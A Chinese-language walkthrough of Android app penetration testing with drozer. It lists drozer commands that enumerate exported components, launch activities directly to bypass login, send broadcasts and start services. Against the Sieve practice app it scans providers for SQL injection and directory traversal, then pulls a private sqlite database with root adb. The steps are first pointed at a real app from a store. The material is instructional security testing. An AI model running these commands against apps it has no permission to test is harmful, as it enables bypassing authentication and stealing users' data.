导出的组件前提为,下列满足其一就可:
1.显示声明 android:exported="true" 2.未显示声明 android:exported="false" 组件不是 Content Provider 组件不包含 <intent-filter> 3.未显示声明 android:exported="false" 组件是 Content Provider api版本 < 17首先选择目标,我在酷安上随便找了个应用
手机连接好电脑,分别启动dorzer
使用ls可用查看命令,首先查看有哪些包在运行
run app.package.list有许多结果可以通过-f参数进行过滤,这里查看目标app的包名可以通过手机中 设置->更多应用->对应app->应用信息里面有应用包名
run app.package.list -f xxs查看包信息
run app.package.info -a com.xxs.leon.xxs查看可攻击组件信息
run app.package.attacksurface com.xxs.leon.xxs查看对应组件信息
run app.activity.info -a com.xxs.leon.xxs #查看activity组件 run app.broadcast.info -a com.xxs.leon.xxs #查看broadcast组件 run app.provider.info -a com.xxs.leon.xxs #查看provider组件 run app.service.info -a com.xxs.leon.xxs #查看service组件那么接下来可以直接调用对应组件,实现绕过app本身逻辑直接请求组件,一般用于绕过登录之类的漏洞
实体机如果不灵光可以重启解决
run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity广播模块攻击
run app.broadcast.send --action [组件路径] --extra string [输出的变量] [更改的值]因为小小书app不太典型,因此使用dorzer官网自带的测试漏洞app
https://labs.f-secure.com/tools/drozer/
整个程序功能大致为输入密码后输出信息
启动server服务
run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名) com.mwr.example.sieve.AuthService(组件名)查看ContentProvider并找到url路径-a后接包名
run scanner.provider.finduris -a com.mwr.example.sieveprovider 组件可能存在客户端的sql注入和目录遍历的问题
#sql注入 run scanner.provider.injection -a com.mwr.example.sieve #目录遍历 run scanner.provider.traversal -a com.mwr.example.sieve 敏感文件泄露一般敏感的文件有sqlite的数据库文件,xml文件,logcat日志内容
使用root权限的adb,前往程序app的文件夹下(路径可通过drozer去查看)
adb root adb shell cd xxx/xxx/xxxsqlite文件一般在databases下面
可以看到存在database.db的文件,可以通过find命令去查找
find /data/user/0/com.mwr.example.sieve -name *.db回到pc的命令行,使用adb pull命令将db拷贝出来
adb pull /data/user/0/com.mwr.example.sieve/databases/database.db用工具打开sqlite数据库文件